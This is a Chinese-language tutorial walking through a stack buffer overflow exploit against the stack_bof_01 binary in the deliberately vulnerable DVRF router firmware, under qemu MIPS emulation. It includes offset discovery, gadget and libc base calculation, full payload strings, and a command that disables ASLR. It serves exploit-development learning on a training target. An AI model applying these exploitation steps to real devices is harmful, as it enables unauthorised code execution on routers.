背景
DVRF(Damn Vulnerable Router Firmware)是一个不错的IoT固件漏洞平台
项目地址: https://github.com/praetorian-inc/DVRF
提取固件
binwalk -Me DVRF_v03.bin
其提取出的文件系统是squashfs,存在漏洞的文件存放在pwnable/Intro下。
测试程序
cd squashfs-root
cp (which qemu-mipsel-static) .
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01
可猜测其实际上是在程序后带上参数,将stack_bof_01放入物理的ida查看,代码最核心逻辑如下
可以看到调用strcpy函数,没有对长度进行限制,存在栈溢出漏洞。
测试漏洞
- 验证漏洞是否存在
python -c "print 'A'*1000" > payload
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 (cat payload )
可以看到程序报错,存在栈溢出漏洞。
2.测试溢出偏移
python ~/hhh/shellcode_tools/patternLocOffset.py -l 1000 -c -f payload
sudo chroot . ./qemu-mipsel-static -g 6666 ./pwnable/Intro/stack_bof_01 (cat payload) #开启监听,等待远程gdb调试
将待调试文件stack_bof_01拖拽至物理机中,打开物理机上运行的ida,配置ida远程调试,其中hostname为虚拟机IP地址,端口号为监听端口号,这里是6666
开启远程调试,F9运行程序,程序崩溃,查看此时$RA,为0x41386741
python ~/hhh/shellcode_tools/patternLocOffset.py -l 1000 -s 0x41386741
偏移为204,程序自带后门函数,即dat_shell,地址为0x00400950,即可构造payload
3.构造payload
python -c "print 'a'*204+'\x50\x09\x40\x00'" >payload
sudo chroot . ./qemu-mipsel-static -g 6666 ./pwnable/Intro/stack_bof_01 (cat payload)
同样远程调试,程序成功跳转至dat_shell,但依旧崩溃,如下图;参考路由器漏洞挖掘之栈溢出入门(二)和路由器漏洞靶场 The Damn Vulnerable Router Firmware Project 的学习,因为我们溢出的时候把 $gp 寄存器也覆盖了,$gp 寄存器是用来全局指针寻址用的,覆盖了他就会导致程序无法正常寻址,自然程序就会 crash。
在这里由于我的mipsrop插件问题无法在ida中查找libc.so.0中的gadget,但是使用ida打开lib/下的libc.so.0,其偏移0x6b20处确实有一个gadget,
故只需要确定运行时libc基地址即可
4.确定基地址
这里需要用到gdb-multiarch本地调试mips程序
命令行1:
echo 0 > /proc/sys/kernel/randomize_va_space #由于是本地学习漏洞,可关闭aslr降低难度
sudo chroot . ./qemu-mipsel-static -g 6666 ./pwnable/Intro/stack_bof_01 (cat payload)
命令行2:
gdb-multiarch ./pwnable/Intro/stack_bof_01
set architecture mips
set endian little
target remote 127.0.0.1:6666 #开启远程调试
vmmap #查看内存布局
可以看到这里不知为何我的内存布局没有显示出libc,所以需要寻找另一方法确定libc基址
p &memset #查看memset地址,为0x408b6e10。(友情提示,需要在memset处下断点,运行至memset,不然由于之前没有运行memset,memset地址为其got地址)
ida打开libc.so.0,查看memset偏移为0x0001BE10
则libc基地址为:0x408b6e10-0x0001BE10=0x4089b000
gadget地址为 :0x4089b000+0x6b20=0x408a1b20
5.最终payload
python -c "print 'a'*204+'\x20\x1b\x8a\x40'+'\x50\x09\x40\x00'" > payload
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 (cat payload)